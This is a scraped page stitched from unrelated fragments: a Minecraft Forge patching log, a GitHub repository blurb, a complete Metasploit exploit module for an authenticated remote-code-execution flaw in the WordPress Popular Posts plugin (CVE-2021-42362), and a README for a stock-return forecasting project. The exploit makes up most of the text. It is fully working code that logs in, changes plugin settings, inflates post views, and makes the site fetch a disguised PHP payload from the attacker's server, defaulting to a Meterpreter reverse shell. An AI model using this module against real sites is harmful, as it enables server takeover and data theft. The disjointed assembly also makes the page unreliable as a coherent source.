Patching net/minecraft/client/renderer/entity/ItemRenderer 1/1 Patching net/minecraft/client/renderer/entity/layers/ElytraLayer 1/1 Patching net/minecraft/client/renderer/ItemModelShaper 1/1 Patching net/minecraft/client/renderer/DimensionSpecialEffects$SkyType 1/1 Patching net/minecraft/client/renderer/ScreenEffectRenderer 1/1 Patching net/minecraft/client/renderer/FogRenderer 1/1 Patching net/minecraft/client/renderer/LevelRenderer$TransparencyShaderException 1/1 Patching net/minecraft/client/renderer/ItemInHandRenderer$1 1/1 Patching net/minecraft/client/renderer/DimensionSpecialEffects$EndEffects 1/1 Patching net/minecraft/client/renderer/ItemInHandRenderer$HandRenderSelection 1/1 Patching net/minecraft/client/renderer/ShaderInstance 1/1 Patching net/minecraft/client/renderer/ShaderInstance$1 1/1 Patching net/minecraft/client/renderer/Sheets$1 1/1 Patching net/minecraft/client/renderer/blockentity/PistonHeadRenderer 1/1 Patching net/minecraft/client/renderer/blockentity/BlockEntityRenderers 1/1 Patching net/minecraft/client/renderer/blockentity/ChestRenderer 1/1 Patching net/minecraft/client/renderer/DimensionSpecialEffects 1/1 Patching net/minecraft/client/User$Type 1/1 Patching net/minecraft/client/Camera$NearPlane 1/1 Patching net/minecraft/client/Minecraft$ChatStatus$1 1/1 Patching net/minecraft/server/MinecraftServer$TimeProfiler 1/1 Patching net/minecraft/server/MinecraftServer$TimeProfiler$1 1/1 Patching net/minecraft/server/MinecraftServer$2 1/1 Patching net/minecraft/server/Main$1 1/1 Patching net/minecraft/server/MinecraftServer$1 1/1 Patching net/minecraft/client/main/Main$2 1/1 Patching net/minecraft/client/main/Main$1 1/1 Patching net/minecraft/client/ClientBrandRetriever 1/1 Patching net/minecraft/client/main/Main$3 1/1 Patching net/minecraft/data/Main 1/1 Patching net/minecraft/client/KeyMapping 1/1 Patching net/minecraft/client/main/Main 1/1 Patching net/minecraft/server/Main 1/1 Patching net/minecraft/client/KeyboardHandler 1/1 Patching net/minecraft/client/resources/model/ModelState 1/1 Patching net/minecraft/client/resources/model/ModelBakery$BlockStateDefinitionException 1/1 Patching net/minecraft/client/resources/model/ModelManager 1/1 Patching net/minecraft/client/resources/model/WeightedBakedModel$Builder 1/1 Patching net/minecraft/client/resources/model/BakedModel 1/1 Patching net/minecraft/client/resources/model/WeightedBakedModel 1/1 Patching net/minecraft/client/resources/model/UnbakedModel 1/1 Patching net/minecraft/client/resources/model/ModelResourceLocation 1/1 Patching net/minecraft/client/resources/model/SimpleBakedModel$Builder 1/1 Patching net/minecraft/client/resources/model/MultiPartBakedModel 1/1 Patching net/minecraft/client/resources/model/MultiPartBakedModel$Builder 1/1 Patching net/minecraft/client/resources/model/SimpleBakedModel 1/1 Patching net/minecraft/client/resources/model/ModelBakery$ModelGroupKey 1/1 Patching net/minecraft/client/resources/language/I18n 1/1 Patching net/minecraft/client/resources/language/LanguageInfo 1/1 Patching net/minecraft/client/resources/language/ClientLanguage 1/1 Patching net/minecraft/client/resources/language/LanguageManager 1/1 Patching net/minecraft/client/player/AbstractClientPlayer 1/1 Patching net/minecraft/client/color/item/ItemColors 1/1 Patching net/minecraft/client/color/block/BlockColors 1/1 Patching net/minecraft/server/MinecraftServer 1/1 Patching net/minecraft/client/player/RemotePlayer 1/1 Patching net/minecraft/client/Minecraft$ChatStatus$3 1/1 Patching net/minecraft/client/User 1/1 Patching net/minecraft/client/resources/model/ModelBakery 1/1 Patching net/minecraft/client/Screenshot 1/1 Patching net/minecraft/client/sounds/SoundEngine 1/1 Patching net/minecraft/client/player/LocalPlayer 1/1 Patching net/minecraft/client/Options 1/1 Patching net/minecraft/client/model/geom/LayerDefinitions 1/1 Patching net/minecraft/client/Minecraft$ServerStem 1/1 Patching net/minecraft/client/Options$FieldAccess 1/1 Patching net/minecraft/client/Camera 1/1 Patching net/minecraft/client/gui/components/DebugScreenOverlay$1 1/1 Patching net/minecraft/client/gui/components/AbstractSelectionList$SelectionDirection 1/1 Patching net/minecraft/client/gui/components/BossHealthOverlay$1 1/1 Patching net/minecraft/client/gui/components/AbstractSelectionList$TrackedList 1/1 Patching net/minecraft/client/gui/components/BossHealthOverlay 1/1 Patching net/minecraft/client/gui/components/AbstractSelectionList 1/1 Patching net/minecraft/client/gui/components/AbstractSelectionList$Entry 1/1 Patching net/minecraft/client/gui/components/AbstractWidget 1/1 Patching net/minecraft/client/gui/MapRenderer 1/1 Patching net/minecraft/client/gui/screens/MenuScreens$ScreenConstructor 1/1 Patching net/minecraft/client/gui/screens/LoadingOverlay 1/1 Patching net/minecraft/client/gui/components/DebugScreenOverlay 1/1 Patching net/minecraft/client/gui/screens/TitleScreen$1 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionModel$UnselectedPackEntry 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionModel$EntryBase 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionModel$Entry 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionScreen$1 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionModel$SelectedPackEntry 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionModel 1/1 Patching net/minecraft/client/gui/screens/LoadingOverlay$LogoTexture 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionScreen$Watcher 1/1 Patching net/minecraft/client/gui/Gui 1/1 Patching net/minecraft/client/gui/screens/packs/PackSelectionScreen 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList$Entry 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList$CategoryEntry$1 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList$KeyEntry$1 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList$KeyEntry$2 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList$CategoryEntry 1/1 Patching net/minecraft/client/gui/screens/recipebook/RecipeBookComponent 1/1 Patching net/minecraft/client/gui/screens/controls/ControlsScreen 1/1 Patching net/minecraft/client/gui/screens/controls/ControlList$KeyEntry 1/1 Patching net/minecraft/client/gui/screens/LanguageSelectScreen$LanguageSelectionList$Entry 1/1 Patching net/minecraft/client/gui/screens/TitleScreen 1/1 Patching net/minecraft/client/gui/screens/LanguageSelectScreen$LanguageSelectionList 1/1 Patching net/minecraft/client/gui/screens/Screen 1/1 Patching net/minecraft/client/gui/screens/advancements/AdvancementTabType$1 1/1 Patching net/minecraft/client/gui/screens/advancements/AdvancementTabType 1/1 Patching net/minecraft/client/gui/screens/advancements/AdvancementsScreen 1/1 Patching net/minecraft/client/gui/screens/OptionsScreen 1/1 Patching net/minecraft/client/gui/screens/advancements/AdvancementTab 1/1 Patching net/minecraft/client/gui/screens/inventory/EnchantmentScreen 1/1 Patching net/minecraft/client/gui/screens/inventory/AbstractContainerScreen 1/1 Patching net/minecraft/client/gui/screens/MenuScreens 1/1 Patching net/minecraft/client/gui/screens/inventory/CreativeModeInventoryScreen$SlotWrapper 1/1 Patching net/minecraft/client/gui/screens/inventory/EffectRenderingInventoryScreen 1/1 Patching net/minecraft/client/gui/screens/inventory/CreativeModeInventoryScreen$ItemPickerMenu 1/1 Patching net/minecraft/client/gui/screens/inventory/CreativeModeInventoryScreen$CustomCreativeSlot 1/1 Patching net/minecraft/client/gui/screens/Screen$NarratableSearchResult 1/1 Patching net/minecraft/client/gui/screens/DeathScreen 1/1 Patching net/minecraft/client/gui/screens/multiplayer/ServerSelectionList$NetworkServerEntry 1/1 Patching net/minecraft/client/gui/screens/multiplayer/ServerSelectionList$Entry 1/1 Patching net/minecraft/client/gui/screens/LanguageSelectScreen 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$2 1/1 Patching net/minecraft/client/gui/screens/inventory/CreativeModeInventoryScreen 1/1 Patching net/minecraft/client/gui/screens/multiplayer/ServerSelectionList 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$PresetEditor 1/1 Patching net/minecraft/client/gui/screens/multiplayer/ServerSelectionList$LANHeader 1/1 Patching net/minecraft/client/gui/screens/worldselection/CreateWorldScreen$OperationFailedException 1/1 Patching net/minecraft/client/gui/screens/worldselection/CreateWorldScreen$SelectedGameMode 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$6 1/1 Patching net/minecraft/client/gui/screens/multiplayer/ServerSelectionList$OnlineServerEntry 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$7 1/1 Patching net/minecraft/client/gui/screens/multiplayer/JoinMultiplayerScreen 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$4 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$5 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$1 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$8 1/1 Patching net/minecraft/client/gui/screens/worldselection/CreateWorldScreen$1 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldPreset$3 1/1 Patching net/minecraft/client/gui/screens/worldselection/WorldGenSettingsComponent 1/1 Patching net/minecraft/client/gui/Gui$HeartType 1/1 Patching net/minecraft/client/gui/screens/worldselection/CreateWorldScreen 1/1 Patching net/minecraft/client/Options$4 1/1 Patching net/minecraft/client/gui/MapRenderer$MapInstance 1/1 Patching net/minecraft/client/ToggleKeyMapping 1/1 Patching net/minecraft/client/Minecraft$ChatStatus$2 1/1 Patching net/minecraft/client/Minecraft$ChatStatus$4 1/1 Patching net/minecraft/client/searchtree/SearchRegistry 1/1 Patching net/minecraft/client/Options$3 1/1 Patching net/minecraft/client/searchtree/SearchRegistry$Key 1/1 Patching net/minecraft/client/multiplayer/ServerStatusPinger$2 1/1 Patching net/minecraft/client/multiplayer/ClientLevel$1 1/1 Patching net/minecraft/client/multiplayer/ClientLevel$ClientLevelData 1/1 Patching net/minecraft/client/multiplayer/ClientLevel$MarkerParticleStatus 1/1 Patching net/minecraft/client/multiplayer/ServerStatusPinger$2$1 1/1 Patching net/minecraft/client/multiplayer/ClientPacketListener$1 1/1 Patching net/minecraft/client/multiplayer/ServerData 1/1 Patching net/minecraft/client/multiplayer/PlayerInfo 1/1 Patching net/minecraft/client/multiplayer/ClientChunkCache 1/1 Patching net/minecraft/client/multiplayer/ClientChunkCache$Storage 1/1 Patching net/minecraft/client/multiplayer/ServerStatusPinger$1 1/1 Patching net/minecraft/client/multiplayer/ClientLevel$EntityCallbacks 1/1 Patching net/minecraft/client/multiplayer/ServerStatusPinger 1/1 Patching net/minecraft/client/multiplayer/ServerData$ServerPackStatus 1/1 Patching net/minecraft/client/Minecraft$ExperimentalDialogType 1/1 Patching net/minecraft/client/Options$1 1/1 Patching net/minecraft/client/multiplayer/ClientHandshakePacketListenerImpl 1/1 Patching net/minecraft/client/multiplayer/MultiPlayerGameMode 1/1 Patching net/minecraft/client/multiplayer/ClientLevel 1/1 Patching net/minecraft/client/multiplayer/ClientPacketListener 1/1 Patching net/minecraft/client/Minecraft 1/1 Patching net/minecraft/world/level/biome/BiomeSpecialEffects$GrassColorModifier$ColorModifier 1/1 Patching net/minecraft/Util$2 1/1 Patching net/minecraft/tags/StaticTagHelper$OptionalNamedTag 1/1 Injecting profile Finished!
gtkacz / Vulture ActionA GitHub action for Vulture.
Nate0634034090 / Nate158.res.codeRex.sleepsession.type.to S.eql Shell ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen end end
houssem71 / Forecasting Next Day S Returns In Stock Market The aim of this project is to forecast the next day's returns of a tunisian company using daily stock data from Tunisia Stock Exchange market . At the beginning, we performed ordinary tasks such as preprocessing and wrangling where we found these two major points: 1-we can create two new attributes capable of reducing the dimensionality of market data. 2-the data is a time series indexed by the dates of each trading operation, to eliminate the time dependency, we have introduced a new variable which is the 'current profit' which is shifted by a period of the next day return . 3- thanks to the calculation of the kurtosis and skewness coefficients, we found that we do not need to make distribution transformations. Then , we did a dimensionality reduction thanks to the PCA method , which forms the cornerstone of this project . This technique needs to determine the value of its hyperparameter which is the number of principal components that will allow the explanation of the maximum variance of all the variables. To do this, we have recourse to the analysis by factor and precisely the eigenvalues criterion . This criterion allows each time the code is run to determine the optimal number of factors (those with eigenvalues >1) and finally we arrived at a number equal to 6 factors and which explain 95.5% of the variance. Finally, we predicted the value of 'next day return' thanks to a linear regression model, it is true that it is quite basic but the goal was to master the technique of PCA and FA. we can improve the result in future projects by applying, for example, another model such as XGBoost .